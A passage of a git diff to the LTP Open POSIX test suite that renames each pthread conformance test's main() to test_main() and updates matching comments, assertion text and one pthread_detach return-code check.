@@ static const char *sched_policy_name(int policy) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t attr; pthread_t th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/11-1.c index e77b53ea..03439fab 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/11-1.c @@ -49,7 +49,7 @@ static void alarm_handler() flag = 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; struct itimerval it = {.it_value = {.tv_sec = 0, .tv_usec = 100000}}; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/12-1.c index 75ea8370..8fb93a5e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/12-1.c @@ -25,7 +25,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c index 84d229af..0a762240 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c @@ -221,7 +221,7 @@ static void main_loop(void) output("Test finished after %lu usec.\n", usec - usec_start); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); scenar_init(); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/2-1.c index 93cc618f..bf58111b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/2-1.c @@ -31,7 +31,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-1.c index ea4a3358..b1738a0c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-1.c @@ -45,7 +45,7 @@ static void *a_thread_func() exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c index 3197bdf6..a6539425 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c @@ -395,7 +395,7 @@ static void *schedtest(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; int do_stack_tests; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/4-1.c index 59c1939c..3bbe1b8e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/4-1.c @@ -25,7 +25,7 @@ static void *a_thread_func(); static pthread_t self_th; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/5-1.c index 0b9c8b76..4df74f8d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/5-1.c @@ -29,7 +29,7 @@ static void *a_thread_func(void *num) return num; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; long i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/8-1.c index 116691d8..16795454 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/8-1.c @@ -13,8 +13,9 @@ * - The set of signals pending for the new thread shall be empty. * * Steps: - * 1. In main(), create a signal mask with a few signals in the set (SIGUSR1 and SIGUSR2). - * 2. Raise those signals in main. These signals now should be pending. + * 1. In test_main(), create a signal mask with a few signals in the set + * (SIGUSR1 and SIGUSR2). + * 2. Raise those signals in test_main. These signals now should be pending. * 3. Create a thread using pthread_create(). * 4. The thread should have the same signal mask, but no signals should be pending. * @@ -41,7 +42,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; sigset_t main_sigmask, main_pendingset; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/assertions.xml b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/assertions.xml index 7a5e6055..9d3cda4d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/assertions.xml +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/assertions.xml @@ -33,12 +33,12 @@ If the 'start_routine' returns, the effect shall be as if there was an implicit call to pthread_exit() using the return value of 'start_routine' as the exit status. - NOTE: that the thread in which main() was originally invoked is different + NOTE: that the thread in which test_main() was originally invoked is different from this </assertion> <assertion id="7" tag="ref:XSH6:32848:32849"> - When it returns from main(), the effect shall be as if there was an implicit - call to exit() using the return value of main() as the exit status. + When it returns from test_main(), the effect shall be as if there was an implicit + call to exit() using the return value of test_main() as the exit status. </assertion> <assertion id="8" tag="ref:XSH6:32850:32852"> The signal state of the new thread will be initialized as so: diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-1.c index d4511cdf..38ec4380 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-1.c @@ -13,7 +13,7 @@ * STEPS: * 1. Create a joinable thread * 2. Detach that thread with pthread_detach() - * 3. Try and join the thread to main() using pthread_join() + * 3. Try and join the thread to test_main() using pthread_join() * 4. An error should return from the pthread_join() function saying that the * thread is detched. The test passes. * 5. Else, if pthread_join is successful, the test fails. @@ -37,7 +37,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c index 28a7e9ea..dc5ed39d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c @@ -116,7 +116,7 @@ static void *threaded(void *arg) return arg; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-1.c index f3175fbf..3e0a5f51 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-1.c @@ -36,7 +36,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c index a2c5cc65..49c0ee21 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c @@ -126,7 +126,7 @@ static void *threaded(void *arg) return arg; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/3-1.c index 80cd2ad9..003b0a15 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/3-1.c @@ -34,7 +34,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-1.c index b1fe5703..ca12b56d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-1.c @@ -41,7 +41,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-2.c index 28b93ffe..1e7b8411 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-2.c @@ -18,7 +18,7 @@ * 1. Create a thread. * 2.Wait 'till the thread exits. * 3.Try and detach this thread. - * 4.Check the return value and make sure it is ESRCH + * 4.Check the return value and make sure it is ESRCH or 0 * */ @@ -35,7 +35,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int ret; @@ -59,9 +59,9 @@ int main(void) ret = pthread_detach(new_th); /* Check return value of pthread_detach() */ - if (ret != ESRCH) { + if (ret != ESRCH && ret != 0) { printf - ("Test FAILED: Incorrect return code: %d instead of ESRCH\n", + ("Test FAILED: Incorrect return code: %d instead of ESRCH or 0\n", ret); return PTS_FAIL; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c index 126f5aa8..a3bc00f0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c @@ -333,7 +333,7 @@ static void main_loop() output("Test finished after %lu usec.\n", usec - usec_start); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); scenar_init(); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/1-1.c index 451adf13..1f1dae95 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/1-1.c @@ -28,7 +28,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/1-2.c index bf2ee466..cfed56ea 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/1-2.c @@ -28,7 +28,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th1, new_th2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/2-1.c index 9b43ccd8..47bad30c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/2-1.c @@ -181,7 +181,7 @@ static void *test(void *arg) } /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_work, th_sig1, th_sig2, me; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-1.c index b7d216aa..56028026 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-1.c @@ -12,7 +12,7 @@ * * Steps: * 1. Create a new thread. Have it return a return code on pthread_exit(); - * 2. Call pthread_join() in main(), and pass to it 'value_ptr'. + * 2. Call pthread_join() in test_main(), and pass to it 'value_ptr'. * 3. Check to see of the value_ptr and the value returned by pthread_exit() are the same; * */ @@ -38,7 +38,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int *value_ptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c index c9931e29..206630c7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c @@ -100,7 +100,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; void *rval; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-1.c index dff55f0a..c0a6f204 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-1.c @@ -72,7 +72,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c index 7098e2e5..96306081 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c @@ -118,7 +118,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; void *rval; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-1.c index e0dfd24e..6079a90a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-1.c @@ -59,7 +59,7 @@ static void *a_thread_func(void *tmp PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c index 0a8583fa..0044e036 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c @@ -144,7 +144,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; void *rval; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c index 33e5562c..ba992ca8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c @@ -117,7 +117,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; void *rval; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c index e35dbef9..986039a7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c @@ -135,7 +135,7 @@ static void *threaded(void *arg) } /* Main routine */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; int ctl = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c index 639e508c..0a722ed1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c @@ -183,7 +183,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /* Main routine */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/assertions.xml b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/assertions.xml index f34f6a19..15d2a09a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/assertions.xml +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/assertions.xml @@ -24,7 +24,7 @@ </assertion> <assertion id="5" tag="ref:XSH6:33031:33033"> An implicit call to pthread_exit() is made when a thread other than the - thread in which main() was first invoked returns from the start routine that + thread in which test_main() was first invoked returns from the start routine that was used to create it. The function's return value shall serve as the thread's exit status. </assertion> diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/1-1.c index 4a27aa83..eb0cd5dd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/1-1.c @@ -43,7 +43,7 @@ static void *thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/speculative/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/speculative/3-1.c index 1bb53cb5..8d2bd102 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/speculative/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getcpuclockid/speculative/3-1.c @@ -34,7 +34,7 @@ static void *thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; clockid_t cid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-1.c index 200966b9..6ebcbcae 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-1.c @@ -40,7 +40,7 @@ static void *thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-2.c index 4b44242d..d5554300 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-2.c @@ -62,7 +62,7 @@ static void *thread_func(void* arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-3.c index 4e534cb0..71ae2bd1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getschedparam/1-3.c @@ -112,7 +112,7 @@ static void *threaded(void *arg) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getspecific/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getspecific/1-1.c index 8d96f858..a2956cda 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getspecific/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getspecific/1-1.c @@ -27,7 +27,7 @@ #define NUM_OF_KEYS 10 #define KEY_VALUE 0 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_key_t keys[NUM_OF_KEYS]; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getspecific/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getspecific/3-1.c index 52837695..6d68a148 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getspecific/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_getspecific/3-1.c @@ -23,7 +23,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_key_t key; void *rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-1.c index d6e54ead..302540e7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-1.c @@ -12,7 +12,7 @@ * * Steps: * 1. Create a new thread. Have it sleep for 3 seconds. - * 2. The main() thread should wait for the new thread to finish + * 2. The test_main() thread should wait for the new thread to finish * execution before exiting out. * */ @@ -41,7 +41,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; @@ -62,7 +62,7 @@ int main(void) if (end_exec == 0) { printf("Test FAILED: When using pthread_join(), " - "main() did not wait for thread to finish " + "test_main() did not wait for thread to finish " "execution before continuing.\n"); return PTS_FAIL; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c index 25e623fd..630a6ea8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c @@ -67,7 +67,7 @@ static void *threaded(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/2-1.c index c5359da1..d072eb6a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/2-1.c @@ -13,7 +13,7 @@ * * Steps: * 1. Create a new thread. Have it return a return code on pthread_exit(); - * 2. Call pthread_join() in main(), and pass to it 'value_ptr'. + * 2. Call pthread_join() in test_main(), and pass to it 'value_ptr'. * 3. Check to see of the value_ptr and the value returned by pthread_exit() * are the same; * @@ -42,7 +42,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; void *value_ptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/3-1.c index 9e208b5b..7c31febf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/3-1.c @@ -72,7 +72,7 @@ thread_exit_failure: return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c index 6b19992b..e691f8ec 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c @@ -77,7 +77,7 @@ static void *joiner_func(void *arg) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/5-1.c index e41a26db..82d65f20 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/5-1.c @@ -28,7 +28,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-2.c index 3c6dddf6..4052a55e 100644 --- 